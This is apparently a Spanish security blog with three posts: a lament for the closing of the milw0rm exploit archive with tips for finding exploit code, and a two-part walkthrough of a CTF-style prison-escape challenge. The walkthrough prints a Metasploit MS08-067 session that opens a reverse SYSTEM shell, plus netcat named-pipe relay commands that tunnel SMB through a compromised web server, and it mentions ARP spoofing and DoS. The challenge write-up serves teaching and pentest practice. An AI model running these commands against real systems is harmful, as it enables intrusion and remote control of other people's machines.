miércoles, 8 de julio de 2009

Silencio, el Exploiting ha muerto...

Si desde hace unos días no podemos escuchar otra cosa que la frase "silencio, el pop a muerto" en referencia a la muerte de Michael Jackson, para los que nos dedicamos a la seguridad este momento podiamos decir que es algo similar al que deben sufrir los fans del cantante. Así me he quedado yo al leer hoy en SecurityByDefault la noticia del abandono de str0ke del proyecto milw0rm, no en vano durante muchos años he oido aquella frase que muchos habreis oido: "si no está en milw0rm no existe", que si bien no es completamente cierto, sí que es una excepcional colección de exploits.

Concretamente, desde hace mucho tiempo milw0rm ha sido mi fuente de exploits número dos, siendo la primera la también excepcional Metasploit Framework, principalmente por lo cómodo que resulta realizar la explotación si existe exploit disponible en este framework.

Ya he mandado un correo a str0ke agradeciendole su dedicación durante todos estos años que tanto ha facilitado mi tarea en la realización de test de intrusión, y le he deseado mucha suerte en los futuros proyectos que acometa, además de ofrecerle mi ayuda si necesita cualquier cosa en la que pueda ayudarle.

Por nuestro lado, ¿y ahora qué? Yo seguiré usando la metasploit como principal opción por la comodidad (siempre y cuando el exploit esté disponible para metasploit), pero como siguientes opciones tendremos que volver a la búsqueda en página como Security Focus, Packet Storm Security, etc. También podemos usar la web Exploit Search, que nos ofrece un búsqueda personalizada de Google para encontrar facilmente información acerca de las vulnerabilidades y exploits, si bien para encontrar el código de exploits es necesario usar pequeñas palabras clave como pueda ser "include", "define" o "main" si estamos buscando exploits escritos en C o cadenas equivalentes en otros lenguajes (perl, python, etc) que nos puedan discriminar aquellas webs que contienen código, es decir, no solo las que hablan de la vulnerabilidad, sino las que contienen el exploit. Este buscador fue ya comentado a principio de año en este mismo blog.

En cualquier caso... un minuto de silencio... el Exploiting ha muerto...

sábado, 4 de julio de 2009

Solución: Santa Claus is Hacking to Town (II)

Tal y como comentabamos en el anterior post del reto Santa Claus is Hacking to Town, hemos conseguido accesibilidad al puerto 445 de la máquina en la que tenemos que conseguir ejecutar el binario dooropen.exe, que sólo tiene privilegios de ejecución para el usuario jailmaster, que sabemos que tiene una contraseña largísima pero que el carcelero la usa para todos los equipos de la carcel.

Ahora sólo nos queda ejecutar el comando, para lo cual deberemos utilizar alguna vulnerabilidad en la configuración o administración del equipo, ya que sabemos que está completamente parcheado. De la información que tenemos y las herramientas de que disponemos, enseguida pienso que la forma más fácil va a ser explotar alguna vulnerabilidad del portatil que no está parcheado, y a partir de ahí, puesto que utiliza la misma contraseña en todos los equipos, y que los Windows autentican automáticamente entre ellos cuando se usa la misma contraseña, utilizar psexec para ejecutar el comando dooropen.exe en la máquina objetivo.

Vamos a ello, tal como dicen en el enunciado del reto, el portatil del jailmaster (jailmasterlaptop) está sin parchear, y concretamente es vulnerable a la famosa vulnerabilidad MS08-067 utilizada por el Conficker y que tantos quebraderos de cabeza nos ha causado en los últimos meses.

Revisamos nuestro arsenal y vemos que tenemos la Metasploit con los últimos plugins, entre ellos el que explota esta vulnerabilidad, así que vamos a ello (en negrita los comandos que tenemos que teclear), todo desde mi BackTrack4 Beta en imagen VMWare:

1) Arrancamos Metasploit, tarda un poco porque tiene que cargar los plugins y todo:

# cd /pentest/exploits/framework3
# ./msfconsole

=[ msf v3.3-dev
+ -- --=[ 345 exploits - 223 payloads
+ -- --=[ 20 encoders - 7 nops
=[ 123 aux

msf >


2) Buscamos la vulnerabilidad que queremos explotar:

msf > search ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...

Exploits
========

Name Description
---- -----------
windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption

msf >


3) Ya sabemos que el módulo se llama "windows/smb/ms08_067_netapi", así que vamos a escogerlo:

msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >


4) Ahora sacamos un listado de los Payload que tenemos disponibles:

msf exploit(ms08_067_netapi) > show payloads

Compatible payloads
===================

Name Description
---- -----------
[...]
windows/shell/reverse_nonx_tcp Windows Command Shell, Reverse TCP Stager (No NX Support)
windows/shell/reverse_ord_tcp Windows Command Shell, Reverse Ordinal TCP Stager
windows/shell/reverse_tcp Windows Command Shell, Reverse TCP Stager
windows/shell_bind_tcp Windows Command Shell, Bind TCP Inline
[...]

msf exploit(ms08_067_netapi) >


5) Escogemos una reverse shell, para obtener acceso a la máquina y que sea ella la que se conecta a nosotros, por si hubiera algún tipo de filtrado:

msf exploit(ms08_067_netapi) > set PAYLOAD windows/shell/reverse_tcp
PAYLOAD => windows/shell/reverse_tcp
msf exploit(ms08_067_netapi) >


6) Hacemos que nos muestra las opciones que tenemos que seleccionar para poder lanzar el exploit:

msf exploit(ms08_067_netapi) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
RHOST yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST yes The local address
LPORT 4444 yes The local port


Exploit target:

Id Name
-- ----
0 Automatic Targeting


msf exploit(ms08_067_netapi) >


7) Completamos la información de IP de origen (para lanzar el ataque), IP destino (para que sepa hacia donde tiene que lanzar el reverse shell) y puerto (usaremos el 80 por si hay algún tipo de filtrado):

msf exploit(ms08_067_netapi) > set RHOST jailmasterlaptop
RHOST => jailmasterlaptop
msf exploit(ms08_067_netapi) > set LHOST santasvmlinux
LHOST => santasvmlinux
msf exploit(ms08_067_netapi) > set LPORT 80
LPORT => 80
msf exploit(ms08_067_netapi) >


8) Lanzamos el exploit y... tachaaaan! Shell Remota con privilegios de SYSTEM:

msf exploit(ms08_067_netapi) > exploit

[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:Spanish
[*] Selected Target: Windows XP SP2 Spanish (NX)
[*] Triggering the vulnerability...
[*] Sending stage (474 bytes)
[*] Command shell session 1 opened (santasvmlinux:80 -> jailmasterlaptop:1044)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>


Ya tenemos nuestra Shell con privilegios de SYSTEM en el sistema, y sabemos que el mismo portátil tiene un usuario jailmaster que tiene la misma contraseña que la que necesitamos para poder ejecutar remotamente el comando dooropen.exe y poder salir de la prisión, pero no podemos coger el hash y crackearlo, ya que la contraseña es muy larga y no tenemos ningún diccionario ni capacidad de bajar ninguno (sólo podemos bajar una herramienta de 1 MB). Sin embargo, está claro que la clave está en el acceso a este equipo que acabamos de conseguir, y me hago la siguiente hipótesis nada más lograr el acceso: ¿desde SYSTEM en Windows se puede hacer un "su -" y convertirme en cualquier usuario sin necesidad de contraseña como sucedería en un Unix desde el usuario root? Si lo consiguiera podría establecer autenticación entre ambos usuarios sin necesidad de teclear la contraseña y lanzar psexec desde el portatil (si es posible lanzarlo sin establecer contraseña). Pero eso, para el siguiente post ;)

miércoles, 1 de julio de 2009

Solución: Santa Claus is Hacking to Town (I)

Hace unos días os comentaba este reto que estuve resolviendo en el que necesito acceder a un equipo que parece inaccesible a nivel de red y ejecutar un binario llamado dooropen.exe que sólo tiene permisos a nivel de sistema de ficheros para el usuario jailmaster.

Para más detalles y por no repetirme, podeis leer la entrada de hace unos días, en la que explico en que consiste el reto con más profundidad.

El caso es que nos encontramos con que tenemos que ejecutar algo de una máquina para la que no tenemos acceso a nivel de red, por lo que vamos a necesitar suplantar a Web1 de alguna manera para poder tener conectividad a nivel de red con Door1, sino poco más vamos a poder hacer. Para obtener esta conectividad a nivel de red, hay varias opciones:
  1. Dado que estamos en la misma red LAN que el sistema afectado, podriamos realizar un ataque de DoS de cualquier tipo y, simplemente, ponernos su IP utilizando el comando ifconfig, y de esta manera poder pasar a través del firewall. Esta solución es conveniente tenerla en mente cuando hacemos pentest, pero no es conveniente llevarla a cabo, al menos no sin antes consensuarlo y pactar un horario de mínimo impacto. En el caso de este reto, metiendome en el papel, he descartado esta opción, ya que una DoS del equipo va a alertar a lo amos del calabozo de que algo está pasando, y quizá puedan detectarme y rastrearme antes de que pueda completar mi misión.
  2. Dado que estamos en la misma red LAN, podriamos utilizar otras maneras de realizar suplantación de IP de una manera más silenciosa, como por ejemplo realizar un ataque MitM mediante técnicas de ARP-Spoofing, con lo que conseguiremos que todo el tráfico entre Web1 y Door1 pase por nosotros. Una vez hecho esto, sólo tenemos que crear un interface virtual con la misma IP que Web1 en el equipo que realiza el ARP-Spoofing (# ifconfig eth0:1 inet 192.168.1.6 netmask 255.255.255.0). De esta manera, iniciaremos conexiones desde nuestro equipo con la IP de Web1, las cuales irán hasta el objetivo y volverán a nosotros, pudiendo así establecer la conexión de forma muy silenciosa. Este método sería muy bueno para obtener acceso, y de hecho yo lo utilizo mucho cuando hago pentest (también con cuidado, un error haciendolo y puedes dejar a un equipo aislado de la red por haber envenenado mal su tabla ARP), pero para este reto, aunque posible, no me gusta, porque para realizarlo tendriamos que utilizar el comodón que nos dan para bajarnos ettercap o arpspoof o alguna otra herramienta equivalente, por lo que gastariamos esa opción que vamos a necesitar posteriormente, así que también queda descartado.
  3. Utilizar NetCat para hacer que Web1 nos "puentee" una conexión con Door1: Web1 no presenta ninguna vulnerabilidad en el sistema que podamos atacar, pero sí tiene una vulnerabilidad que permite ejecutar comandos como usuario apache, lo cual puede ser suficiente para usar el NetCat compilado para Linux que tenemos en nuestro arsenal del reto y hacer que la máquina nos haga de "puente" entre nosotros y Door1, evadiendo de esta manera las restricciones del Firewall. Esta va a ser la opción escogida, ya que es silenciosa y no requiere emplear el comodín.
En primer lugar, para realizar esta técnica que ya comenté brevemente al hablar cobre NCat (de Fyodor), necesitamos subir la versión compilada de NetCat para Linux que tenemos, ya que en el sistema no se encuentra instalada y no tenemos privilegios para hacerlo. Para ello, dado que tenemos todas las conexiones salientes permitidas, lo cómodo es utilizar los comandos tftp o wget, que nos permitirán coger de nuestro equipo el fichero que pondamos en nuestros tftpd o httpd y hacerlo llegar hasta el servidor. En el caso de que la máquina estuviera completamente bastionada y estos comandos no estuvieran disponibles, tenemos varias opciones, la primera de ellas es establecer una conexión utilizando el dispositivo /dev/tcp, pero tiene el problema de que en función de la distribución en la que nos encontremos vamos a poder hacerlo o no, ya que algunas lo tienen "capado". La opción que se me ocurre que siempre funcionaría, aunque es la más laboriosa y no me he puesto a probarlo, es codificar el cuerpo del binario en base64, por ejemplo, y posteriormente enchufarselo a la aplicación web vulnerable de alguna forma. Luego de eso, nos vamos a los logs de apache que evidentemente deberán tener permiso para que el usuario apache los lea, y obtenemos dicha cadena en base64. Ya sólo nos quedará volver a pasar de base64 a binario y tendremos nuestro NetCat para Linux en la máquina Web1.

Una vez hecho esto ya podemos empezar a jugar con NetCat, como la máquina Web1 tiene filtrado todo el tráfico entrante salvo el puerto 80 y no podemos bajar el servicio del puerto 80 (nos quedariamos sin poder ejecutar comandos y además sería muy ruidoso, igual que el DoS), no vamos a poder usar el NetCat en modo listening, sólo vamos a poder iniciar conexiones desde Web1. Entonces lo que vamos a tener que hacer es que Web1 inicie una conexión, por un lado al puerto 445 de Door1, y por otro lado a algún puerto de nuestro equipo (80, 443 o 53 son buenas opciones, por si hubiera algún tipo de filtrado, aunque en este caso no se especifica, pero podriamos incluso usar una conexión saliente udp con NetCat al puerto 53 si fuera necesario, ya que NetCat funciona tanto en TCP como en UDP). En nuestro equipo tendremos que tener, por tanto, un NetCat lanzado en modo escucha en el puerto 80 (siguiendo el ejemplo) enganchado con otro NetCat también a la escucha en el puerto 445, que será sobre el que realicemos el ataque.



Para hacerlo, en primer lugar tendremos que lanzar los NetCat que estarán a la escucha, ejecutando en nuestro equipo (el portatil de santa) los siguientes comandos (recordad que tengo que usar corchetes con el símbolo de mayor y menor para que Blogger no me haga cosas raras, pero cuando vayais a usar el comando borradlo):

# mknod tuberia p
# nc -l -p 80 0[<]tuberia | nc -l -p 445 1[>]tuberia

Con esto ya tenemos el portatil de santa preparado y escuchando conexiones, así que sólo nos queda lanzar las conexiones en web1. Para ello utilizamos los siguientes comandos (podemos hacerlo linea a linea o en una sola conexión utilizando ; ):

$ mknod tuberia p
$ nc door1 445 0[<]tuberia | nc santaportatil 80 1[>]tuberia

Una vez establecido esto, podemos conectar con la herramienta que queramos al puerto 445 de nuestro equipo virtual Linux y eso nos dará acceso directo al puerto 445 de Door1, con lo que podemos lanzar el ataque (que aún no hemos comentado como hacerlo) y cumplir con nuestro objetivo.



Todavía no sabemos que vamos a hacer para ejecutar dooropen.exe, pero al menos ya tenemos acceso al puerto 445 de la máquina. En el próximo post, la explotación de JailMasterLaptop.